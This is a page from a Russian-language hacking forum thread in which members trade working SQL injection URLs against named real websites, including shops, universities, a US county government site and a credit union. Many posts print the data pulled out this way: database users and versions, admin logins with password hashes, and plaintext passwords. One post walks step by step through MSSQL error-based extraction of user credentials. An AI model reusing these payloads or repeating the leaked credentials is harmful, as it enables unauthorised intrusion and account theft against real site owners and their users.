SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 263 of 798
  1. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    Интернет Магазин
    http://www.myfavouritemagazines.co.uk/store/displayitem.asp?sid=416&id=1+or+1=@@version--
    так же неполучилось...
     
    #5241 -=megahertz=-, 11 Apr 2008
  2. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    PHP:
    http://www.stat.uz/stat/index.php?lng=2&article=999+union+select+1,2,3,4,5,6,unhex(hex(concat(user,char(58),password))),8+from+mysql.user/*
    _________


    PHP:
    http://www.pacedirect.co.uk/section.php?id=-2+union+select+1,2,3,4,5,concat(id,char(58),un,char(58),pw),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+pacedb.admins/*
    PHP:
    http://www.pacedirect.co.uk/section.php?id=-2+union+select+1,2,3,4,5,concat_ws(char(58),id,username,salt,password,email),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+pacedb.user/*
     
    #5242 _Pantera_, 11 Apr 2008
    3 people like this.
  3. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Офф сайт иллиноиса(Кажись :D)

    .gov
    http://starkco.illinois.gov/calendar.php?display=event&id=-177+union+select+1,concat(user(),char(58),version(),char(58),database()),3,4,5,6,7,8,9,10,11,12/*&date=2007-Feb-01&returnto=month

    gostark@localhost:4.1.22-standard:gostark_Community
     
    #5243 Kakoytoxaker, 11 Apr 2008
    4 people like this.
  4. BizzyD

    BizzyD Elder - Старейшина

    Joined:
    2 Jun 2007
    Messages:
    209
    Likes Received:
    118
    Reputations:
    0
    Code:
    http://www.macspeech.com/pages.php?pID=99999+union+select+1/*
    newsite_user@localhost:newsite:5.0.45-community-log

    Админка:
    Code:
    https://secure.macspeech.com/storeadmin/login.php
     
    #5244 BizzyD, 11 Apr 2008
    Last edited: 11 Apr 2008
    4 people like this.
  5. NilsonUA

    NilsonUA Elder - Старейшина

    Joined:
    25 Nov 2007
    Messages:
    18
    Likes Received:
    8
    Reputations:
    2
    Code:
    http://www.gamer.hr/tips/bg.php?id=-1+union+all+select+1,concat(email,char(58),password),3,4,5,6,7+from+user/*
    [email protected]:58ee6cec39128423
     
    #5245 NilsonUA, 12 Apr 2008
    1 person likes this.
  6. MaSter GeN

    MaSter GeN Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    52
    Likes Received:
    31
    Reputations:
    0
    Code:
    http://mylosinj.info/de/news/newskom.php?newsid=52 union select 1,2,3,version(),user(),database()/*
    user:creslosi@localhost
    ver:4.1.22-max-log
    бд:creslosi
     
    #5246 MaSter GeN, 12 Apr 2008
    2 people like this.
  7. NilsonUA

    NilsonUA Elder - Старейшина

    Joined:
    25 Nov 2007
    Messages:
    18
    Likes Received:
    8
    Reputations:
    2
    Code:
    http://www.taylorsclassics.co.uk/products/puding_details.php?id=-1+union+all+select+1,   concat(username,char(58),password),null,null,5,6,7,8,9,10+from+users/*
    bwsadmin:treacle
     
    #5247 NilsonUA, 12 Apr 2008
  8. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.detki.ru/index.php?mode=gallery&id=-1+union+select+1,2,3,concat(version(),char(58),database(),char(58),user()),5,6/*

    5.0.45-community
    detki07_detki
    detki07_detki@localhost

    http://www.detki.ru/index.php?mode=gallery&id=-1+union+select+1,2,3,table_name,5,6+from+information_schema.tables+limit+17,1/*

    albums
    custompages
    filials
    items
    shops



    shops
    ---------------
    name
    activity
    addr
     
    #5248 truelamer, 12 Apr 2008
  9. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    народ, все выкладывают "стандартно" ?**=-1+union+select
    если кому не трудно скиньте какие нить не "стандартные" скули, а то эти надоели а других скулей я не знаю,поделитесь опытом))))
     
    #5249 bag, 12 Apr 2008
    2 people like this.
  10. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://nn-photo.ru/photo.php?id=-1+union+select+1,2,3,concat(login,char(58),passwd),5+from+cmsuser+limit+2,1--

    Stats:20052005
     
    #5250 truelamer, 12 Apr 2008
    1 person likes this.
  11. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    эх ладно...,посимвольный это понятно, хотелось бы увидеть скули на других sqlах,что-нибудь кроме mysql.
    кстати антибоян так и не работает,все что раньше скули есть туда не добавляются(отсюда не понятно за чем он нужен и стоит ли ваще проверять есть ли там!!).
    мож кому понадобится(с оформлением особо заморачиваться не буду,больно мног овремени занимает)))):
    Факультет Наук о Материалах - МГУ
    http://www.fnm.msu.ru/main.php?topic=9999999999999/**/UNION/**/SELECT/**/1/*
    MEDucation. Медицина для умных= :: Портал молодых докторов
    http://www.meducation.com.ua/index.php?name=PNphpBB2&file=viewforum&f=9999999999999/**/UNION/**/SELECT/**/useR(),2/*
    Неофіційна газета Київського університету
    http://gazeta.univ.kiev.ua/index.php?act=view&id=9999999999999'/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11/*
    портал iPages
    http://www.ipages.ru/index.php?item_id=432&op=47&id=9999999999999/**/UNION/**/SELECT/**/1,2,3/*
    Дагестанский Государственный Педагогический Университет
    http://www.dgpu.ru/index.php?area=1&p=static&page=9999999999999'/**/UNION/**/SELECT/**/1,version(),3,4/*
    Исламская Цивилизация
    http://www.islamcivil.ru/article.php?aid=9999999999999/**/UNION/**/SELECT/**/1,2,unhex(hex(version())),4,5,6,7,8,9,10,11,12,13,14/*
    Программа образовательных кредитов КРЕДО
    http://www.prokredo.ru/college.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14/*
    Тульский государственный университет
    http://www.tsu.tula.ru/index.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4/*
    Бизнес-обучение в Новосибирске
    http://www.bonsk.ru/company.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9/*
    Одесский Государственный Медицинский Университет
    http://www.odmu.od.ua/index.php?v=9999999999999/**/UNION/**/SELECT/**/1/*
    Информационный портал KURSKCITY.RU
    http://www.kurskcity.ru/news.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11/*
    Интернет-агентство NetService
    http://www.netservice.ru/portfolio_details.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12/*
    ННГУ :: Вестники Нижегородского государственного университета им. Н.И. Лобачевского
    http://www.unn.ru/index.php?file=vestniki_journals&jnum=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12/*
    Омский государственный технический университетгазмяс ;)
    http://www.omgtu.ru/newsite/index.php?module=news&action=full&nid=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10/*
    Там, где начинается Крым! - Крымский портал
    http://www.start.crimea.ua/directory/sites.php?categoryes_id=9999999999999'/**/UNION/**/SELECT/**/1/*
    Университет Пяти Наук Дзогчен Шри Сингха - Dzogchen Lineage
    http://www.dzogchenlineage.ru/modules/publication/category.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4/*
    ИЗБРАННОЕ - Каталог ресурсов интернета
    http://www.favorites.net.ua/kuk/razd.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8/*
    Интернет - магазин RusAtlet.com
    http://www.rusatlet.com/show_items.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14/*
    Интернет магазин элитной косметики. Косметика класса люкс.
    http://www.kosmetuka.ru/show_cat.php?catid=3518&grid=9999999999999/**/UNION/**/SELECT/**/1/*
    Едим Дома - еженедельная телепередача
    http://www.edimdoma.ru/recipt_temat_local.php?idr=9999999999999'/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*
    Доставка товаров по Питеру
    http://www.dommoy.ru/product_info.php?products_id=9999999999999'/**/UNION/**/SELECT/**/1/*
    Объединенный портал пищевой промышленности Украины
    http://www.ukrfood.com.ua/commerce/aenvelope.php?loc=6&letter=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13/*
    Компания АБИКОМ - официальный дилер СкайЛинк
    http://www.askylink.ru/index.php?&lang=&menusel=2&menu=&submenu=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37/*
    ВААЛ
    http://www.vaal.ru/show.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11/*
    Портал об образовании за рубежом
    http://www.studying.ru/index.php?razd=9999999999999'/**/UNION/**/SELECT/**/1,2,3,4,5,6/*
    Global Study - Образование за рубежом и в Узбекистане.
    http://study.uz/index.php?nav=23&sub=9999999999999'/**/UNION/**/SELECT/**/1,2,3/*
    Информационно-визовая компания
    http://infovisa.ru/index.php?id=9999999999999'/**/UNION/**/SELECT/**/1,2,3,4,5,6,7/*
    ГОРОДСКОЙ ИНФОРМАЦИОННЫЙ САЙТ КИЕВА
    http://www.gorspravka.kiev.ua/newkiev.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7/*
    Сервер досуга и развлечений DVOREC.RU
    http://www.dvorec.ru/links/section.php?sec=9999999999999/**/UNION/**/SELECT/**/1/*
    LinkRU.Ru - твой рейтинг сайтов
    http://www.linkru.ru/top.php?cat=9999999999999/**/UNION/**/SELECT/**/1,2,3/*
    cmbc.ru : тренинги | дистанционное обучение | коучинг
    http://www.cmbc.ru/courses.php?ID=9999999999999'/**/UNION/**/SELECT/**/1,2,3,4/*
    Загородный отдых, базы отдыха, ленинградская область отдых, финляндия туры, аренда коттеджей, активный отдых
    http://www.zagorod.net/index.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
    ЗАГРАНИЦА - информационно-аналитическая газета
    http://www.zagran.kiev.ua/article.php?new=415&idart=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
    EURO - Homepage
    http://www.euro-online.org/cyphor/show.php?fid=4&id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,unhex(hex(version())),8,9,10/*
    Moscow Phone Directory :: Moscow's virtual community for English speaking expats and Russians
    http://www.expat.ru/phonedir.php?cid=9999999999999/**/UNION/**/SELECT/**/1/*
    ShopCar.ru - продажа подержанных автомобилей
    http://shopcar.ru/zip_info.php?id=9999999999999'/**/UNION/**/SELECT/**/version()/*
    HONDA.BY
    http://honda.by/menu.php?id=74&parent=2&subparent=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9/*
    ОКНА.ua - Каталог Металлопластиковых Окон Украины
    http://okna.ua/pr_pl.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
    Автогазета - новости автомобильного рынка, доска бесплатных частных объявлений о продаже и покупке автомобилей
    http://www.autogazeta.com/news.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3/*
    Интернет магазин радиосвязи с доставкой. Один из самых дешевых в Москве
    http://www.radiomag.com.ru/main.php?cat=9999999999999/**/UNION/**/SELECT/**/unhex(hex(version()))/*

    Сегмент.RU - канцелярские товары // Рынок офисных принадлежностей и канцтоваров
    http://www.segment.ru/jfund.php?view_id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*
    Юридические статьи. Комплексное юридическое обслуживание Регистрация товарных знаков Екатеринбург Незаконное использование товарного знака, торговой марки Арбитраж Суд Правовая защита недвижимости
    http://www.intellectpro.ru/stat/index.php?view_id=9999999999999/**/UNION/**/SELECT/**/1/*
    Новое Слово
    http://novoeslovo.info/main.php?id=9999999999999'/**/UNION/**/SELECT/**/1,2,3,4/*
    Печь, печь-камин, барбекю
    http://www.pechka.biz/main.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6/*
    Автоновости - продажа и тюнинг авто - автомобильные советы и авто развлечения на АвтоЛидер ИНФО
    http://www.autolider.info/news/main.php?id=287&id_rub=9999999999999/**/UNION/**/SELECT/**/1/*
    РЕ-АНИМАЦИЯ
    http://re-animation.ru/main.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11/*
    Santa Barbara Film Commission
    http://www.filmsantabarbara.com/index.php?cat=149&subcat=999999999999/**/UNION/**/SELECT/**/1/*
    Все о фотографии в Нижнем Новгороде
    http://www.photogorky.ru/category.php?cat=999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
    Сайт болельщиков хоккейного клуба ЦСКА
    http://www.hccska.ru/index.php?showfile=1&fid=30&p=downloads&area=1&categ=999999999/**/UNION/**/SELECT/**/1,concat_ws(0x3a,uname,pass),3+from+koobi4_user/*
    admin:560f0ea462cbc6645e4f8ba0b9eeaee0
    Играй.ру v3.13+
    http://www.igray.ru/reviews.php?rid=9999999999999+UNION+SELECT+1/*
    Информационный нотариальный портал
    http://www.notary.ru/notary/notary.php?chamberid=022&id=999999999'/**/UNION/**/SELECT/**/1,2,version(),4,user,6,7,8,9,10,11,12,13,14,15+from+mysql.user/*
    2c5256dd67328e7d:notary
    Крымский Финансовый Портал
    http://www.kfp.com.ua/notarius_full.php?id=99999999999+UNION+SELECT+all+1,pass,3,4,5,6+from+users/*
    ПроводкаРу
    http://provodka.ru/publication.php?id=9999999999+UNION+SELECT+concat_ws(0x3a,user_name,user_password)+from+compet_users+limit+1,1/*
    admin:21232f297a57a5a743894a0e4a801fc3
    CU/America Financial Services-
    Home Loans - Credit Union - Lombard
    http://www.cuamerica.com/main.php?page_id=999999999999999'/**/UNION/**/SELECT/**/1,2,3,0x3a,password,6,7,8,9+from+mysql.user/*
    63457fd127556365

    ниче личного ;)

    еще
    UNITED BAKERS
    http://www.unitedbakers.ru/print.php?section_id=115&id=9999999999999/**/UNION/**/SELECT/**/1,2,version(),4,5,6,7,8,9,10,11/*
    Вознесенская Горка
    http://vgor.ru/inner.php?page=conditer&top=9999999999999/**/UNION/**/SELECT/**/1,version(),3,4,5,6,7,8,9,10,11/*
    INFORMARKET: готовые маркетинговые исследования и обзоры рынка, заказ и поиск исследований, отраслевые обзоры, новости.
    ViP рецепты - Сайт вскусной пищи
    http://viprecipes.org.ua/index.php?action=recipe&recipeID=1170&CID=9999999999999/**/UNION/**/SELECT/**/1,2,version(),4,5,6/*
    http://www.informarket.ru/index.php?id_o=9999999999999/**/UNION/**/SELECT/**/version()/*
    Самарский государственный педагогическйи университет
    http://www.sgpu.info/page.php?id=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15/*
    Обучение за рубежом. Образование за рубежом.
    http://www.intelstudy.ru/c_topics.php?so=showtopic&ct_id=9999999999999/**/UNION/**/SELECT/**/unhex(hex(version())),2,3/*

    jokester, ok учту, выложил на свой взгяд самое интересное из того что есть. И не ругайтесь :)
    я не выпендриваюсь(собственно и нечем),просто хочу народу помочь,авось пригодится кому.
     
    #5251 bag, 12 Apr 2008
    Last edited: 13 Apr 2008
    2 people like this.
  12. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    bag
    Круто конечно,"антибоян не пашет вывалю всё в кучу"
    В твоём посте 18 боянов проверяется элементарно : гугл
    твой_линк site:forum.antichat.ru и антибоян не особо нужен
     
    #5252 Kakoytoxaker, 12 Apr 2008
  13. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    VERSION: 4.1.22-standard-log
    USER: [email protected]
    DATABASE: 334937_calcms

    VERSION: 5.0.45
    USER: root@localhost
    DATABASE: tophat

    VERSION: 4.0.27-standard-log
    USER: jkuser_lgdbuser@localhost
    DATABASE: jkuser_lgcommercial
     
    #5253 cash$$$, 13 Apr 2008
  14. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    _http://www.rabota.md/vacancies/vacancyCategory.php?id=-1+UNION+SELECT+concat_ws(0x3a,VERSION(),USER(),DATABASE())/*
    Code:
    5.0.45:coruptie@localhost:coruptie_rabota
    Ну 5 версия с таблами сами разберётесь :)
     
    #5254 Ponchik, 13 Apr 2008
    Last edited: 13 Apr 2008
    1 person likes this.
  15. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.finbook.biz/description.html?prm=-1++union+select+1,2,3,concat(user(),char(58),database(),char(58),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

    finbook_user@localhost
    finbook_biz
    4.1.22-standard-log
     
    #5255 truelamer, 13 Apr 2008
    1 person likes this.
  16. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    NISPAcee - The Network of Institutes and Schools of Public Administration in Central and Eastern Europe
    Code:
    http://www.nispa.sk/_portal/conf_program.php?cid=9999999999999/**/UNION/**/SELECT/**/1/*
    The Washington Institute for Near East Policy
    Code:
    http://www.washingtoninstitute.org/templateC04.php?CID=9999999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49/*
     
    #5256 bag, 13 Apr 2008
    Last edited: 13 Apr 2008
  17. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    Центр информационных технологий

    http://itex.ru/po/sale/?pid=-4+union+select+1/*
    user - [email protected]
    database - itex
    version - 5.0.41-log


    Интересные таблицы :)
    amarant_users
    analitika_hackers
    analitika_users
    apm_admin
    apm_hackers
    asbest_users
    atmosphere_admin
     
    #5257 -=megahertz=-, 13 Apr 2008
    2 people like this.
  18. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.bamba.ru/product.asp?view=56634+or+1=(select+system_user)

    http://www.bamba.ru/product.asp?view=56634+or+1=(select+db_name())

    http://www.bamba.ru/product.asp?view=56634+or+1=@@version


    bd_user: frontcontent


    bd_name:bamba

    http://www.bamba.ru/product.asp?view=56634+or+1=@@version

    version:
    Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
    May 3 2005 23:18:38
    Copyright (c) 1988-2003 Microsoft Corporation
    Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

    -----------------------

    http://www.bamba.ru/product.asp?view=56634+or+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('GROUP_MEMBERSHIP','GROUP_RIGHTS','CONTENT_5','CONTENT_26','CONTENT_20','SITE','main_catalog','SYSTEM_VARS','USER_RIGHTS','CONTENT_TYPE','PAGE','ATTRIBUTE_GROUP','ATTRIBUTE_TYPE','BACKEND_SECTION','catalog','CONTAINER','CONTAINER_TYPE','CONTENT','CONTENT_1','CONTENT_10','CONTENT_11','CONTENT_12','CONTENT_13','CONTENT_14','CONTENT_15','CONTENT_16','CONTENT_17','CONTENT_18','CONTENT_19','CONTENT_2','CONTENT_21','CONTENT_22','CONTENT_23','CONTENT_24','CONTENT_3','CONTENT_4','CONTENT_6','CONTENT_7','CONTENT_8','CONTENT_9','CONTENT_ATTRIBUTE','CONTENT_DATA','CONTENT_LINK','CONTENT_STATUS','CONTENT_TYPE_GROUP','CONTENT_TYPE_LINK','DB_VERSION','dtproperties','FORMAT','GROUP_ROLE','LANGUAGE','MEMBER','MEMBER_CONTENT','OBJECT','ROLE','ROLE_RIGHTS','SITE_LANG','SITE_SECTIONS','sysconstraints','syssegments','SYSTEM_VARS_GROUP','t_jiaozhu','TEMPLATE','UNIT','UNIT_SETTING','USER_GROUP','USER_ROLE'))

    получаем таблицу 'USERS'
    --------------------------------------
    Получаем структуру таблицы users

    http://www.bamba.ru/product.asp?view=56634+or+1=(select+top+1+column_name+from+information_schema.columns+where+table_name='USERS'+and+column_name+not+in+('created','disabled','full_name','login','modified','password','site_id'))

    ---------------------------------------

    http://www.bamba.ru/product.asp?view=56634+or+1=(select+top+1+cast(login+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+users)--

    login:MNBorisow
    password:ma3569

    -------------------------
    http://www.bamba.ru/product.asp?view=56634+or+1=(select+top+1+cast(login+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+users+where+login+not+in+('MNBorisow'))--

    login:DVStebunov
    pass:12345678

    ----------------------------------------------------
    http://www.bamba.ru/product.asp?view=56634+or+1=(select+top+1+cast(login+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+users+where+login+not+in+('MNBorisow','DVStebunov'))--


    login:yy
    pass:moscow1


    ------------------------------------------------------
    http://www.bamba.ru/product.asp?view=56634+or+1=(select+top+1+cast(login+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+users+where+login+not+in+('MNBorisow','DVStebunov','yy'))--

    login:GLazukin
    pass:GP97sl



    И.Т.Д.
     
    #5258 truelamer, 14 Apr 2008
    3 people like this.
  19. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    http://nce.iatp.org.ua/index.php?action=events&show=events&id=8+UNION+SELECT+1,2,3,4,5,6,concat_ws(char(58),version(),user(),database())+LIMIT+1,1/*
    4.1.22
    [email protected]
    nce
     
    #5259 neon_fx, 14 Apr 2008
  20. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    Серверное и сетевое оборудование
    http://okta.ru/articles/?id=-1204722526+UNION+SELECT+1,concat(user(),0x3a,version(),0x3a,database()),3/*
    user - okta_admin@localhost
    version - 4.0.24_Debian-10sarge2-log
    database - okta_admin
     
    #5260 -=megahertz=-, 14 Apr 2008
    1 person likes this.
(You must log in or sign up to post here.)
Page 263 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.